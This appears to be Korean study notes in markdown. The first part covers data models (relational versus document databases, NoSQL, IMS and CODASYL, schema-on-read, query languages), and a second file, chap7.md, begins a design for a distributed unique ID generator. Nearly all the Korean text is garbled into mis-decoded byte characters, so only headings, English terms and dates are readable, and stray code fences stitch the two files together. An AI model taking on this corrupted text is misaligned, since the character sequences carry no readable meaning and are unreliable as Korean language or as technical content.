๋ฐ์ดํฐ ๋ชจ๋ธ์ ์ํํธ์จ์ด๊ฐ ์ด๋ป๊ฒ ์์ฑ๋๋์ง ๋ฟ๋ง ์๋๋ผ ํด๊ฒฐํ๋ ค๋ ๋ฌธ์ ๋ฅผ ์ด๋ป๊ฒ ์๊ฐํด์ผ ํ๋์ง์ ๋ํด์๋ ์ง๋ํ ์ํฅ์ ๋ฏธ์น๊ธฐ ๋๋ฌธ์ ์ํํธ์จ์ด ๊ฐ๋ฐ์์ ์ ์ผ ์ค์ํ ๋ถ๋ถ์ด๋ค.
## ๊ด๊ณํ ๋ชจ๋ธ๊ณผ ๋ฌธ์ ๋ชจ๋ธ
์ค๋๋ ๊ฐ์ฅ ์ ์๋ ค์ง ๋ฐ์ดํฐ ๋ชจ๋ธ์ 1970๋
Edgar Codd๊ฐ ์ ์ํ ๊ด๊ณํ ๋ชจ๋ธ์ ๊ธฐ๋ฐ์ผ๋ก ํ SQL์ด๋ค. ๋ฐ์ดํฐ(SQL์์๋ ํ
์ด๋ธ)๋ Relation(๊ด๊ณ)์ผ๋ก ๊ตฌ์ฑ๋๊ณ ๊ด๊ณ๋ ์์ ์๋ Tuple(ํํ, SQL์์๋ row) ๋ชจ์์ด๋ค.
1970๋
๋์ 1980๋
๋ ์ด๋ฐ์๋ ๋คํธ์ํฌ ๋ชจ๋ธ๊ณผ ๊ณ์ธต ๋ชจ๋ธ์ด ์ฃผ์ ๋์์ด์์ง๋ง ๊ฒฐ๊ตญ ๊ด๊ณํ ๋ชจ๋ธ์ด ์ฐ์๋ฅผ ์ฐจ์งํ๋ค.
### NoSQL์ ํ์
Not Only SQL
2010๋
๋์ NoSQL์ ๊ด๊ณํ ๋ชจ๋ธ์ ์ฐ์๋ฅผ ๋ค์ง์ผ๋ ค๋ ๊ฐ์ฅ ์ต๊ทผ์ ์๋์ด๋ค.
NoSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฑํ ์๋๋ ฅ
- ๋๊ท๋ชจ ๋ฐ์ดํฐ์
์ด๋ ๋งค์ฐ ๋์ ์ฐ๊ธฐ ์ฒ๋ฆฌ๋์ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ณด๋ค ์ฝ๊ฒ ๋ฌ์ฑํ ์ ์๋ ๋์ ํ์ฅ์ฑ์ ํ์
- ๋ฌด๋ฃ ์คํ์์ค ์ํํธ์จ์ด ์ ํธ๋์ ํ์ฐ
- ๊ด๊ณํ ๋ชจ๋ธ์์ ์ง์ํ์ง ์๋ ํน์ ์ง์ ๋์
- ๊ด๊ณํ ์คํค๋ง์ ์ ํ์ ๋ํ ๋ถ๋ง๊ณผ ๋์ฑ ๋์ ์ด๊ณ ํํ๋ ฅ์ด ํ๋ถํ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ๋ํ ๋ฐ๋
์ ํ๋ฆฌ์ผ์ด์
์ ์ ๋ง๋ค ์๊ตฌ์ฌํญ์ด ๋ฌ๋ผ ์ต์ ์ ์ ํ์ด ๊ฐ๊ฐ ๋ค๋ฅผ ์ ์์ด ๋ฏธ๋์๋ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋น๊ด๊ณํ ๋ฐ์ดํฐ์คํ ์ด์ ํจ๊ป ์ฌ์ฉ๋ ๊ฒ์ด๋ค. ์ด๋ฐ ๊ฐ๋
์ ์ข
์ข
๋ค์ค ์ ์ฅ์ ์ง์์ฑ(polyglot persistence)๋ผ๊ณ ํ๋ค.
### ๊ฐ์ฒด ๊ด๊ณํ ๋ถ์ผ์น
- Impedence Mismatch: ๋ฐ์ดํฐ๋ฅผ ๊ด๊ณํ ํ
์ด๋ธ์ ์ ์ฅํ๊ธฐ ์ํด ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋์ ๋ฐ์ดํฐ ๋ฒ ์ด์ค ๋ชจ๋ธ ๊ฐ์ฒด ์ฌ์ด์์ ํ์ํ ์ ํ ๊ณ์ธต์ ๋ถ๋ฆฌ
- ํ์ด๋ฒ๋ค์ดํธ์ ๊ฐ์ ORM ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ ํ ๊ณ์ธต์ ํ์ํ boilerplate code๋ฅผ ์ค์ผ ์๋ ์์ง๋ง ๋ ๋ชจ๋ธ ๊ฐ์ ์ฐจ์ด๋ฅผ ์์ ํ ์์จ ์๋ ์๋ค.
### ๋ค๋์ผ๊ณผ ๋ค๋๋ค ๊ด๊ณ
- ์ค๋ณต๋ ๋ฐ์ดํฐ๋ฅผ ์ ๊ทํํ๊ธฐ ์ํด์๋ ๋ค๋์ผ(many to one)๊ด๊ณ๊ฐ ํ์ํ๋ค, ๋ฌธ์ ๋ชจ๋ธ์๋ ์ด ๊ด๊ณ๊ฐ ์ ํฉํ์ง ์๋ค.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ฒด๊ฐ ์กฐ์ธ์ ์ง์ํ์ง ์์ผ๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ ๋ค์ค ์ง์๋ฅผ ๋ง๋ค์ด์ ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋์์ ์กฐ์ธ์ ํ๋ด ๋ด์ผ ํ๋ค.
### ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ญ์ฌ๋ฅผ ๋ฐ๋ณตํ๊ณ ์๋?
- 1970๋
๋ ๋น์ฆ๋์ค ๋ฐ์ดํฐ ์ฒ๋ฆฌ๋ฅผ ์ํด ๊ฐ์ฅ ๋ง์ด ์ฌ์ฉํ ๋ฐ์ดํฐ๋ฒ ์ด์ค IBM์ IMS
- IMS๋ ๊ณ์ธต ๋ชจ๋ธ์ด๋ผ ๋ถ๋ฅด๋ ๊ฐ๋จํ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ์ฌ์ฉํ๊ณ , ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ JSON ๋ชจ๋ธ๊ณผ ๋น์ทํ๋ค.
- ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฒ๋ผ ์ผ๋๋ค ๊ด๊ณ์์๋ ์ ๋์ํ์ง๋ง, ๋ค๋๋ค ๊ด๊ณ ํํ์ ์ด๋ ค์ ๊ณ ์กฐ์ธ์ ์ง์ํ์ง ์์ ๊ฒฐ๊ตญ ๊ฐ๋ฐ์๊ฐ ์๋์ผ๋ก ๋ ์ฝ๋๊ฐ์ ์ฐธ์กฐ๋ฅผ ๊ฒฐ์ ํด์ผ ํ๋ค. ์ด๋ ์ค๋๋ ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฌ์ฉํด์ ์์
์ค์ธ ๊ฐ๋ฐ์๊ฐ ํด๊ฒฐํด์ผํ๋ ๋ฌธ์ ์ ๋งค์ฐ ๋น์ทํ๋ค.
- ์ด ๊ณ์ธต๋ชจ๋ธ์ ํ๊ณ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ๊ด๊ณํ ๋ชจ๋ธ๊ณผ ๋คํธ์ํฌ ๋ชจ๋ธ์ด ์ ์๋๊ณ , ์ด ๋ ๋ชจ๋ธ๊ฐ ๋
ผ์์ 1970๋
๋ ๋๋ถ๋ถ ๋์ ์ง์ ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด ๋
ผ์์ ์ค๋๋ ์ ๋ฌธ์ ์๋ ๊ด๋ จ์ด ๋ง์ ํ์ฌ ๊ด์ ์ผ๋ก ๊ฐ๋ตํ ๋ค์ ์ดํด๋ณด๊ฒ ๋ค.
#### ๋คํธ์ํฌ ๋ชจ๋ธ
- AKA ์ฝ๋ค์ค ๋ชจ๋ธ
- ๊ณ์ธต ๋ชจ๋ธ์ ํธ๋ฆฌ ๊ตฌ์กฐ์์ ๋ชจ๋ ๋ ์ฝ๋๋ ์ ํํ๊ฒ ํ๋์ ๋ถ๋ชจ๊ฐ ์๋ ๋ฐ๋ฉด, ๋คํธ์ํฌ ๋ชจ๋ธ์์๋ ๋ค์ค ๋ถ๋ชจ๊ฐ ์์ ์ ์๋ค.
- ๋คํธ์ํฌ ๋ชจ๋ธ์์ ๋ ์ฝ๋์ ์ ๊ทผํ๋ ์ ์ผํ ๋ฐฉ๋ฒ์ ์ต์์ ๋ ์ฝ๋(root record)์์ ๋ถํฐ ์ฐ์๋ ์ฐ๊ฒฐ ๊ฒฝ๋ก๋ฅผ ๋ฐ๋ฅด๋ ๋ฐฉ๋ฒ์ด๋ค. ์ด๋ฅผ ์ ๊ทผ ๊ฒฝ๋ก๋ผ๊ณ ํ๋ค.
- ์ฝ๋ค์ค์์ ๋ง์ฝ ๋ ์ฝ๋๊ฐ ๋ค์ค ๋ถ๋ชจ๋ฅผ ๊ฐ์ง๋ค๋ฉด ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋๋ ๋ค์ํ ๊ด๊ณ๋ฅผ ๋ชจ๋ ์ถ์ ํด์ผ ํ๋ค. ์ฝ๋ค์ค ์์ํ๋ ์ด ๋ฐฉ์์ด n์ฐจ์ ๋ฐ์ดํฐ ๊ณต๊ฐ์ ํฅํด ๊ฐ๋ ๊ฒ๊ณผ ๊ฐ๋ค๊ณ ์ธ์ ํ๋ค.
- ์๋ ์ ๊ทผ ๊ฒฝ๋ก ์ ํ์ 1970๋
๋์๋ ์ ํ๋ ํ๋์จ์ด ์ฑ๋ฅ์ ํจ์จ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์์ง๋ง ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ง์์ ๊ฐฑ์ ์ ์ํ ์ฝ๋๊ฐ ๋ณต์กํ๊ณ ์ ์ฐํ์ง ๋ชปํ๋ค๋ ๋ฌธ์ ๊ฐ ์์๋ค. ๊ณ์ธต๋ชจ๋ธ๊ณผ ๋คํธ์ํฌ ๋ชจ๋ธ ๋ชจ๋ ์ํ๋ ๋ฐ์ดํฐ์ ๋ํ ๊ฒฝ๋ก๊ฐ ์์ ๋ ์ด๋ ค์ด ์ํฉ์ ๋์ธ๋ค.
#### ๊ด๊ณํ ๋ชจ๋ธ
- ์ฝํ๊ณ ์คํจ ์ค์ปต ๊ตฌ์กฐ์ ๋ฐ์ดํฐ๋ฅผ ๋ณด๊ณ ์ถ์ ๋ ๋ฐ๋ผ๊ฐ์ผ ํ ๋ณต์กํ ์ ๊ทผ ๊ฒฝ๋ก๊ฐ ์๋ค.
- ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ Query Optimizer๋ ์ง์์ ์ด๋ ๋ถ๋ถ์ ์ด๋ค ์์๋ก ์คํํ ์ง๋ฅผ ๊ฒฐ์ ํ๊ณ ์ฌ์ฉํ ์์ธ์ ์๋์ผ๋ก ๊ฒฐ์ ํ๋ค. ์ด ์ ํ์ ์ค์ ๋ก "์ ๊ทผ ๊ฒฝ๋ก"๋ค. ํ์ง๋ง ์ ํ๋ฆฌ์ผ์ด์
๊ฐ๋ฐ์๊ฐ ์๋๋ผ Query Optimizer๊ฐ ์ด ๊ฒฝ๋ก๋ฅผ ์๋์ผ๋ก ๋ง๋ ๋ค๋ ์ ์ด ํฐ ์ฐจ์ด์ ์ด๋ค.
- ์๋ก์ด ๋ฐฉ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ง์ํ๊ณ ์ถ์ ๊ฒฝ์ฐ ์๋ก์ด ์์ธ์ ์ ์ธํ๊ธฐ๋ง ํ๋ฉด ์ง์๋ ์๋์ผ๋ก ๊ฐ์ฅ ์ ํฉํ ์์ธ์ ์ฌ์ฉํ๊ฒ ๋๋ค. ์๋ก์ด ์์ธ์ ์ฌ์ฉํ๊ธฐ ์ํด ์ง์๋ฅผ ๋ฐ๊ฟ ํ์๊ฐ ์๋ค. ๋ฐ๋ผ์ ๊ด๊ณํ ๋ชจ๋ธ์ ์ ํ๋ฆฌ์ผ์ด์
์ ์๋ก์ด ๊ธฐ๋ฅ์ ์ถ๊ฐํ๋ ์์
์ด ํจ์ฌ ์ฝ๋ค.
- ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ํ ์ง์ ์ต์ ํ๊ธฐ๋ฅผ ๋ง๋ค๊ธฐ ์ํด์๋ ์๋
๊ฐ์ ์ฐ๊ตฌ์ ๊ฐ๋ฐ ๋
ธ๋ ฅ์ด ํ์ํ๋ค. ํ์ง๋ง, ์ด๋ฅผ ํ๋ฒ ๋ง๋ค๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฌ์ฉํ๋ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ด ํํ์ ๋ฐ์ ์ ์๋ค.
#### ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋น๊ต
- ๋ณ๋ ํ
์ด๋ธ์ด ์๋ ์์ ๋ ์ฝ๋ ๋ด์ ์ค์ฒฉ๋ ๋ ์ฝ๋๋ฅผ ์ ์ฅํ๋ค๋ ์ ์์ ๊ณ์ธต ๋ชจ๋ธ๋ก ๋์๊ฐ๋ค.
- ๋ค๋์ผ๊ณผ ๋ค๋๋ค ๊ด๊ณ๋ฅผ ํํํ ๋ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ๊ทผ๋ณธ์ ์ผ๋ก ๋ค๋ฅด์ง ์๋ค. ๋ ๋ค ๊ด๋ จ ํญ๋ชฉ์ ๊ณ ์ ํ ์๋ณ์๋ก ์ฐธ์กฐํ๋ค. ๊ด๊ณํ ๋ชจ๋ธ์์๋ ์ด๋ฅผ ์ธ๋ํค๋ผ ๋ถ๋ฅด๊ณ ๋ฌธ์ ๋ชจ๋ธ์์๋ ๋ฌธ์ ์ฐธ์กฐ(document reference)๋ผ ๋ถ๋ฅธ๋ค.
### ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ค๋๋ ์ ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค
- ๋ฌธ์ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ์ ํธํ๋ ์ฃผ์ ์ด์ ๋ ์คํค๋ง ์ ์ฐ์ฑ, ์ง์ญ์ฑ์ ๊ธฐ์ธํ ๋ ๋์ ์ฑ๋ฅ ๋๋ฌธ์ด๊ณ ์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ฒฝ์ฐ ์ ํ๋ฆฌ์ผ์ด์
์์ ์ฌ์ฉํ๋ ๋ฐ์ดํฐ ๊ตฌ์กฐ์ ๋ ๊ฐ๊น๋ค.
- ๊ด๊ณํ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ์กฐ์ธ, ๋ค๋์ผ, ๋ค๋๋ค ๊ด๊ณ๋ฅผ ๋ ์ ์ง์ํจ์ผ๋ก์จ ๋ฌธ์ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ๋ํญํ๋ค.
#### ์ด๋ค ๋ฐ์ดํฐ ๋ชจ๋ธ์ด ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋๋ฅผ ๋ ๊ฐ๋จํ๊ฒ ํ ๊น?
- ๋ฐ์ดํฐ๊ฐ ๋ฌธ์์ ๊ฐ์ ๊ตฌ์กฐ๋ผ๋ฉด ๋ฌธ์ ๋ชจ๋ธ์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค. ๊ด๊ณํ ๊ธฐ๋ฒ์ ๋ฌธ์์ ๋น์ทํ ๊ตฌ์กฐ๋ฅผ ์ฌ๋ฌ ํ
์ด๋ธ๋ก ๋๋์ด ์ฐข์ด (shredding) ์คํค๋ง์ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ณต์ก๋๋ฅผ ์ฆ๊ฐ์ํจ๋ค.
- ๋ฌธ์ ๋ชจ๋ธ์๋ ์ ํ์ด ์๋ค.
- ๋ฌธ์ ๋ด ์ค์ฒฉ ํญ๋ชฉ์ ๋ฐ๋ก ํ์ํ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํ์ฌ '์ฌ์ฉ์ 251์ ์ง์ ๋ชฉ๋ก์ ๋ ๋ฒ์งธ ํญ๋ชฉ'๊ณผ ๊ฐ์ ์์ผ๋ก ๋ํ๋ด์ผ ํ๋ค. ๋ฌธ์๊ฐ ๋๋ฌด ๊น๊ฒ ์ค์ฒฉ๋๋ ๊ฒ์ด ์๋๋ผ๋ฉด ๋ฌธ์ ๊ฐ ๋์ง ์๋๋ค.
- ๋ฌธ์ ๋ชจ๋ธ์ ์กฐ์ธ ์ง์์ด ๋ฏธํกํ๋ค.
- ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐ๋ผ ๋ฌธ์ ์ผ ์๋ ์๊ณ ์๋ ์๋ ์๋ค.
- ๋ค๋๋ค ๊ด๊ณ๋ฅผ ์ฌ์ฉํ๋ ์ ํ๋ฆฌ์ผ์ด์
์์ ๋ฌธ์ ๋ชจ๋ธ์ ๋งค๋ ฅ์ด ๋จ์ด์ง๋ค.
- ๋น์ ๊ทํ๋ฅผ ํตํด ์กฐ์ธ์ ์ค์ผ ์ ์์ง๋ง, ๋น์ ๊ทํ๋ ๋ฐ์ดํฐ์ ์ผ๊ด์ฑ์ ์ํ ์ถ๊ฐ ์์
์ด ํ์ํ๋ค.
- ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋์์ ์กฐ์ธ์ ํ๋ด๋ผ ๊ฒฝ์ฐ ๋ณต์ก๋๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ์ด๋ํ ๋ฟ๋ง ์๋๋ผ, ๋ณดํต ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด ํนํ๋ ์ฝ๋๋ก ์ํ๋๋ ์กฐ์ธ๋ณด๋ค ๋ ๋๋ฆฌ๋ค.
- ์ด๋ค ๋ฐ์ดํฐ ๋ชจ๋ธ์ด ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋๋ฅผ ๋ ๊ฐ๋จํ๊ฒ ๋ง๋๋์ง๋ ๋งํ ์ ์๋ค. ๋ฐ์ดํฐ ํญ๋ชฉ ๊ฐ์ ์กด์ฌํ๋ ๊ด๊ณ ์ ํ์ ๋ฐ๋ผ ๋ค๋ฅด๋ค. ์ํธ ์ฐ๊ฒฐ์ด ๋ง์ ๋ฐ์ดํฐ์ ๊ฒฝ์ฐ ๋ฌธ์ ๋ชจ๋ธ์ ๊ณค๋ํ์ง๋ง ๊ด๊ณํ ๋ชจ๋ธ์ ๋ฌด๋ํ๋ฉฐ ๊ทธ๋ํ ๋ชจ๋ธ์ ๋งค์ฐ ์์ฐ์ค๋ฝ๋ค.
#### ๋ฌธ์ ๋ชจ๋ธ์์์ ์คํค๋ง ์ ์ฐ์ฑ
- ๋ฌธ์ ๋ชจ๋ธ์ด schemaless๋ผ๋ ๊ฒ์ ์คํด์ ์์ง๊ฐ ์๋ค.
- schema-on-write(์ฐ๊ธฐ ์คํค๋ง)
- ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ํต์ ์ธ ์ ๊ทผ ๋ฐฉ์
- ์คํค๋ง๋ ๋ช
์์ , ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์คํค๋ง๋ฅผ ๋ฐ๋ฅด๊ณ ์์์ ๋ณด์ฅ
- schema-on-read(์ฝ๊ธฐ ์คํค๋ง)
- ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ ์๋ฌต์ ์ด๊ณ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ๋๋ง ํด์๋๋ค.
- ๋ ๋ชจ๋ธ๊ฐ ์ณ๊ณ ๊ทธ๋ฅธ ์ ๋ต์ ์๋ค.
- ์ฝ๊ธฐ ์คํค๋ง๋ ์ปฌ๋ ์
์ ํญ๋ชฉ์ด ๋์ผํ ๊ตฌ์กฐ๊ฐ ์๋ ๋ ์ ๋ฆฌํ๋ค.
- ์ฌ๋ฌ ์ ํ์ ์ค๋ธ์ ํธ๊ฐ ์กด์ฌํ๊ณ , ๊ฐ ์ค๋ธ์ ํธ ๋ณ๋ก ๋ณ๋ ํ
์ด๋ธ์ ์ฌ์ฉํ๋ ๊ฒ์ ์ค์ฉ์ ์ด์ง ์๊ธฐ ๋๋ฌธ์ด๋ค.
- ์ฌ์ฉ์๊ฐ ์ ์ดํ ์ ์๊ณ ๋ณ๊ฒฝ ๊ฐ๋ฅํ ์ธ๋ถ ์์คํ
์ ์ํด ๋ฐ์ดํฐ ๊ตฌ์กฐ๊ฐ ๊ฒฐ์ ๋๊ธฐ ๋๋ฌธ์ด๋ค.
- ๋ชจ๋ ๋ ์ฝ๋๊ฐ ๋์ผํ ๊ตฌ์กฐ์ผ ๋๋ ์คํค๋ง๊ฐ ๋ฌธ์ํ์ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ ํ ์ ์๋ ์ ์ฉํ ๋ฐฉ๋ฒ์ด๋ค.
#### ์ง์๋ฅผ ์ํ ๋ฐ์ดํฐ ์ง์ญ์ฑ
- ์ ์ฅ์ ์ง์ญ์ฑ์ ํ์ฉํ๋ฉด ์ฑ๋ฅ ์ด์ ์ ๊ฐ์ ธ๊ฐ ์ ์๋ค.
- ๋ฐ์ดํฐ๊ฐ ์ฌ๋ฌ ํ
์ด๋ธ์ ๋๋์ด์ง ๊ฒฝ์ฐ ๋ค์ค ์์ธ ๊ฒ์์ด ํ์ํ๊ณ ์ด๋ก ์ธํด ๋์คํฌ ํ์๊ณผ ๋ ๋ง์ ์๊ฐ์ด ์์๋๋ค.
- ์ง์ญ์ฑ์ ์ด์ ์ ํ ๋ฒ์ ๋ฌธ์์ ๋ง์ ๋ถ๋ถ์ ํ์ฉํด์ผ ํ๋ ๊ฒฝ์ฐ์๋ง ์ ์ฉ๋๋ค.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ ๋ฌธ์์ ์ผ๋ถ์๋ง ์ ๊ทผํ๋๋ผ๋ ์ ์ฒด ๋ฌธ์๋ฅผ ์ ์ฌํด์ผ ํ๊ธฐ ๋๋ฌธ์ ํฐ ๋ฌธ์์์๋ ๋ญ๋น๊ฐ ๋ ์ ์๋ค.
- ์ด๋ฐ ์ด์ ๋ก ์ผ๋ฐ์ ์ผ๋ก ๋ฌธ์๋ฅผ ์์ฃผ ์๊ฒ ์ ์งํ๋ฉด์ ๋ฌธ์์ ํฌ๊ธฐ๊ฐ ์ฆ๊ฐํ๋ ์ฐ๊ธฐ๋ฅผ ํผํ๋ผ๊ณ ๊ถ์ฅํ๋ค.
- ์ด ์ํฉ์ผ๋ก ์ธํด ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ ์ฉํ ์ํฉ์ด ๋ง์ด ์ค์ด๋ ๋ค.
- ์ง์ญ์ฑ์ ๋ฌธ์ ๋ชจ๋ธ์๋ง ๊ตญํ๋์ง ์๋๋ค.
- ์ง์ญ์ฑ์ ์ด์ ์ ํ์ฉํ ๋ค๋ฅธ ๋ชจ๋ธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ค์ด ์กด์ฌํ๋ค.
#### ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํตํฉ
๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์๊ฐ์ด ์ง๋ ์๋ก ์ ์ ๋น์ทํด์ง๊ณ ์๋ค. ๊ฐ ๋ฐ์ดํฐ ๋ชจ๋ธ์ด ์๋ก ๋ถ์กฑํ ๋ถ๋ถ์ ๋ณด์ํด๊ฐ๊ณ ์๋ ๊ฒ์ด๋ค.
### ๋ฐ์ดํฐ๋ฅผ ์ํ ์ง์ ์ธ์ด
- ๋ช
๋ นํ : IMS, ์ผ๋ฐ์ ์ธ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด
- ํน์ ์์๋ก ํน์ ์ฐ์ฐ์ ์ํํ๋๋ก ์ปดํจํฐ์๊ฒ ์ง์
- ์ ์ธํ ์ง์ ์ธ์ด : SQL
- ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํ ๋ฐฉ๋ฒ์ด ์๋ ์๊ณ ์ ํ๋ ๋ฐ์ดํฐ์ ํจํด, ์ฆ ๊ฒฐ๊ณผ๊ฐ ์ถฉ์กฑํด์ผ ํ๋ ์กฐ๊ฑด๊ณผ ๋ฐ์ดํฐ๋ฅผ ์ด๋ป๊ฒ ๋ณํํ ์ง๋ฅผ ์ง์
- ์ ์ธํ ์ง์ ์ธ์ด๋ ๋ช
๋ นํ API๋ณด๋ค ๊ฐ๊ฒฐํ๊ณ ์ฝ๊ฒ ์์
ํ ์ ์๋ค๋ ์ ์ด ๋งค๋ ฅ์ ์ด๋ค. ํ์ง๋ง ๋ ์ค์ํ ์ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ง์ ์์ธ ๊ตฌํ์ด ์จ๊ฒจ์ ธ ์์ด ์ง์ ๋ณ๊ฒฝ ์์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ
์ ์ฑ๋ฅ ํฅ์์ด ๊ฐ๋ฅํ๋ค๋ ์ ์ด๋ค.
- ์ ์ธํ ์ง์ ์ธ์ด๋ ์ข
์ข
๋ณ๋ ฌ ์คํ์ ์ ํฉํ๋ค.
- ๋ช
๋ นํ ์ฝ๋๋ ๋ช
๋ น์ด๋ฅผ ํน์ ์์๋ก ์ํํ๊ฒ๋ ์ง์ ํ๊ธฐ ๋๋ฌธ์ ๋ค์ค ์ฝ์ด๋ ๋ค์ค ์ฅ๋น์์ ๋ณ๋ ฌ ์ฒ๋ฆฌ๊ฐ ์ด๋ ต๋ค.
- ์ ์ธํ ์ธ์ด๋ ๊ฒฐ๊ณผ๋ฅผ ์ป๊ธฐ ์ํ ์๊ณ ๋ฆฌ์ฆ์ ์ง์ ํ๋๊ฒ ์๋๋ผ ๊ฒฐ๊ณผ์ ํจํด๋ง ์ง์ ํ๊ธฐ ๋๋ฌธ์ ๋ณ๋ ฌ ์คํ์ผ๋ก ๋ ๋นจ๋ผ์ง ๊ฐ๋ฅ์ฑ์ด ๋๋ค. ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ง์ ์ธ์ด์ ๋ณ๋ ฌ ๊ตฌํ์ ๋ง์๊ป ์ฌ์ฉํ ์ ์๋ค.```
chap7.md
```# 7์ฅ: ๋ถ์ฐ ์์คํ
์ ์ํ ์ ์ผ ID ์์ฑ๊ธฐ ์ค๊ณ
- DBMS์ auto_increment๋ฅผ ์ฌ์ฉํ๋ฉด ๋์ง ์์๊น? -> ๋ถ์ฐ ํ๊ฒฝ์์ ์ด ๋ฐฉ์์ ํตํ์ง ์๋๋ค. DB ์๋ฒ ํ๋๋ก๋ ์๊ตฌ๋ฅผ ๊ฐ๋นํ ์ ์์ ๋ฟ๋ง ์๋๋ผ, ์ฌ๋ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ์ง์ฐ์ ๋ฎ์ถ๊ธฐ๊ฐ ๋ฌด์ฒ ํ๋ค ๊ฒ์ด๊ธฐ ๋๋ฌธ์ด๋ค.
## 1๋จ๊ณ: ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์
- ID๋ ์ ์ผํด์ผ ํ๋ค.
- ID๋ ์ซ์๋ก๋ง ๊ตฌ์ฑ๋์ด์ผ ํ๋ค.
- ID๋ 64bit๋ก ํํ๋ ์ ์๋ ๊ฐ์ด์ด์ผ ํ๋ค.
- ID๋ ๋ฐ๊ธ ๋ ์ง์ ๋ฐ๋ผ ์ ๋ ฌ ๊ฐ๋ฅํด์ผ ํ๋ค.
- ์ด๋น 10,000๊ฐ์ ID๋ฅผ ๋ง๋ค ์ ์์ด์ผ ํ๋ค.
## 2๋จ๊ณ: ๊ฐ๋ต์ ์ค๊ณ์ ์ ์ ๋ฐ ๋์ ๊ตฌํ๊ธฐ
๋ถ์ฐ ์์คํ
์์ ์ ์ผ์ฑ์ด ๋ณด์ฅ๋๋ ID๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๋ค. ์ฐ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ ์ ํ์ง๋ฅผ ์ดํด๋ณผ ๊ฒ์ด๋ค.
- ๋ค์ค ๋ง์คํฐ ๋ณต์
- UUID
- ํฐ์ผ ์๋ฒ
- ํธ์ํฐ ์ค๋
ธํ๋ ์ดํฌ ์ ๊ทผ๋ฒ
### ๋ค์ค ๋ง์คํฐ ๋ณต์
- DB์ auto_increment๋ฅผ ํ์ฉํ๋ค. ๋ค๋ง, ๋ค์ ID์ ๊ฐ์ ๊ตฌํ ๋ 1๋งํผ ์ฆ๊ฐ์์ผ ์ป๋ ๊ฒ์ด ์๋๋ผ k๋งํผ ์ฆ๊ฐ์ํจ๋ค. (k=๋ฐ์ดํฐ ๋ฒ ์ด์ค ์๋ฒ์ ์)
